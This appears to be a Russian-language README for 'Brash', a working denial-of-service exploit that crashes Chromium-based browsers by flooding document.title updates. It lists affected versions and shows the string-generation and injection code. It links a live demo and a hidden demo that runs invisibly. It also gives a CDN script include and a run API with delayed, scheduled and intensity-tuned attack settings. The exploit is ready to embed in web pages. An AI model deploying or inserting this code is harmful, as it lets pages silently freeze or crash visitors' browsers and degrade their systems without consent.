
DoS-атака на браузер Chromium через эксплуатацию document.title

Brash — это критическая уязвимость в Blink, рендеринговом движке, лежащем в основе браузеров на Chromium. Она позволяет обрушить любой браузер на Chromium за 15–60 секунд, эксплуатируя архитектурный недостаток в том, как обрабатываются некоторые DOM-операции.
Вектор атаки возникает из-за полного отсутствия ограничения частоты обновлений API document.title. Это позволяет внедрять миллионы мутаций DOM в секунду, и в процессе этой попытки инъекции насыщается главный поток, нарушая цикл событий и вызывая коллапс интерфейса. Последствия значительны: высокое потребление CPU, деградация общей производительности системы, возможность остановки или замедления других параллельных процессов. Затрагивая браузеры на Chromium на настольных ПК, Android и встраиваемых средах, эта уязвимость подвергает риску более 3 миллиардов человек в интернете, создавая отказ в обслуживании на уровне системы.
СТАТУС: Работает
ЗАТРОНУТЫЕ ВЕРСИИ: Chromium ≤ 143.0.7483.0 (протестировано: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] Эксплойт в настоящее время работает. После исправления уязвимости этот код перестанет действовать. Тем не менее, обнаружение этого архитектурного пробела и выполнение всего процесса исследования, документирования и разработки, чтобы поделиться чем-то впечатляющим с миром, было невероятно полезным путешествием.
Было протестировано 11 основных браузеров на macOS, Windows и Linux для проверки влияния уязвимости.
Все браузеры на основе Chromium уязвимы, поскольку недостаток находится в ядре движка Blink:
Brash эксплуатирует фундаментальный архитектурный недостаток в движке Blink: отсутствие троттлинга при обновлениях document.title. Атака проходит в три критических фазы:
Генерирует 100 уникальных шестнадцатеричных строк длиной 512 символов и сохраняет их в памяти перед началом атаки.
Зачем предзагружать их, а не генерировать в реальном времени?
Потому что постоянная генерация новых строк потребляет процессорное время на математические операции. Это время критично — каждая миллисекунда, потраченная на генерацию строк, НЕ используется для бомбардировки браузера обновлениями document.title.
Имея 100 строк, уже загруженных в память:
В результате мы достигаем максимальной скорости инъекции с максимальным потреблением памяти на каждое обновление.
// Генерирует уникальные ID с высокой энтропией
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Выполняет настраиваемые пакеты обновлений заголовка. При конфигурации по умолчанию (burst: 8000, interval: 1ms) атака пытается внедрить примерно 24 миллиона обновлений в секунду, и именно во время этой попытки начинается коллапс браузера.
// Паттерн тройного обновления: максимальное разрушение конвейера рендеринга
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Каждый пакет выполняет 3 последовательных обновления
}
this.counter += 0x3;
}
Непрерывные обновления насыщают главный поток браузера, предотвращая обработку других событий:
Временная шкала коллапса:
Почему это работает?
Blink обрабатывает каждое изменение document.title синхронно в главном потоке без ограничения частоты. Это создаёт узкое место, которое:
Чтобы полностью понять влияние Brash, вы можете испытать эксплойт в различных контекстах — от контролируемой живой демонстрации до собственной реализации. Каждый вариант предназначен для разного уровня взаимодействия и технического понимания.
Самый быстрый способ увидеть Brash в действии. Перейдите на https://brash.run
Чтобы увидеть эксплойт без графического интерфейса, перейдите на https://brash.run/hidden-live-demo.html. Эта версия выполняет инъекцию невидимо, имитируя реальную атаку.
Если вы предпочитаете запустить демонстрацию в своей среде, каталог exploit-demo/, включённый в репозиторий, позволяет:
Просто откройте exploit-demo/index.html в любом браузере на Chromium и настройте значения burst и interval перед запуском.
Чтобы интегрировать Brash в ваше собственное тестирование безопасности или исследование, подключите скрипт и настройте атаку:
Подключение скрипта:
<!-- Локально -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Использование API:
// 1. Немедленная атака
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Задержка в секундах (по умолчанию)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 секунд
});
// 3. Задержка со строками
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // или "5000ms" или "3m"
});
// 4. Запланированная атака
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Конфигурации интенсивности:
// Умеренный: контролируемое наблюдение
// Эффект: браузер отвечает медленно, позволяет наблюдать постепенную деградацию
Brash.run({
burstSize: 200,
interval: 1000 // ~600 обновлений/сек
});
// Агрессивный: быстрое насыщение
// Эффект: вкладки замерзают за 10–20 секунд
Brash.run({
burstSize: 2000,
interval: 100 // ~60 000 обновлений/сек
});